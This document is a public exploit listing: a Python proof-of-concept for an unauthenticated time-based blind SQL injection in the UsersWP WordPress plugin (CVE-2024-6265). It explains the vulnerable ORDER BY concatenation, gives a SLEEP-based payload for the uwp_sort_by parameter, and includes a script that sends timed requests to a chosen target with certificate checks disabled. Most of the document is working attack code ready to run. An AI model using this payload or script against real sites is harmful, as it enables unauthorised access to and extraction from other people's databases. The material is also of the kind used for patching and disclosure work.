Share
## https://sploitus.com/exploit?id=PACKETSTORM:226411
#!/usr/bin/env python3
# Exploit Title: WordPress Plugin UsersWP <= 1.2.10 - Unauthenticated Time-Based Blind SQL Injection (ORDER BY)
# Google Dork: N/A
# Date: 2026-07-10
# Exploit Author: A. Ramos <aramosf@gmail.com> / @aramosf
# Vendor Homepage: https://wordpress.org/plugins/userswp/
# Software Link: https://downloads.wordpress.org/plugin/userswp.1.2.10.zip
# Version: 1.2.10 (REQUIRED)
# Tested on: WordPress 6.6.2, PHP 8.2, MariaDB 10.11 (Docker, Debian 12 / Linux)
# CVE : CVE-2024-6265
r"""
UsersWP <= 1.2.10 sorts the public Users directory via a pre_user_query filter
(admin/settings/class-uwp-settings-user-sorting.php:33). On the /users/ page (default WP_User_Query
uses orderby 'uwp_meta_value'), it derives the sort column from $_GET['uwp_sort_by']
(class-uwp-settings-user-sorting.php:45), stripping the trailing _asc/_desc to form $meta_key, then
concatenates it into ORDER BY (:76):
$sort_by = strip_tags( esc_sql( $_GET['uwp_sort_by'] ) ); // esc_sql only escapes quotes
$meta_key = substr( $sort_by, 0, strlen($sort_by) - 4 ); // for *_asc
$orderby = $meta_table_name . '.' . $meta_key;
$vars->query_orderby = 'ORDER BY ' . $orderby . ' ' . $order;
ORDER BY is an unquoted context, so `esc_sql` provides no protection -> SQL injection. Using a valid
leading column (user_id) plus a comma keeps the ORDER BY syntactically valid while adding a SLEEP()
term evaluated per row.
Payload (uwp_sort_by): user_id,(select(sleep(5)))_asc
Prior state: plugin active (auto-creates the /users/ directory page) + a few users so the query
returns rows.
"""
import argparse, sys, time, urllib.parse
import requests
requests.packages.urllib3.disable_warnings()
def probe(base, page, seconds):
sb = "user_id,(select(sleep(%d)))_asc" % seconds
t = time.time()
requests.get(base + page + "?uwp_sort_by=" + urllib.parse.quote(sb), verify=False, timeout=120)
return time.time() - t
def main():
ap = argparse.ArgumentParser()
ap.add_argument("--target", required=True)
ap.add_argument("--page", default="/users/", help="UsersWP directory page path")
ap.add_argument("--sleep", type=int, default=5)
args = ap.parse_args()
base = args.target.rstrip("/")
t0 = probe(base, args.page, 0)
t5 = probe(base, args.page, args.sleep)
print(f"[*] Target: {base}{args.page}")
print(f"[*] SLEEP(0): {t0:.2f}s | SLEEP({args.sleep}): {t5:.2f}s")
if (t5 - t0) >= args.sleep - 1.5:
print(f"\n[+] SQL INJECTION CONFIRMED โ unauthenticated attacker-controlled SLEEP delayed the "
f"response by {t5 - t0:.2f}s (uwp_sort_by ORDER BY injection).")
return 0
print("\n[-] not confirmed"); return 1
if __name__ == "__main__":
sys.exit(main())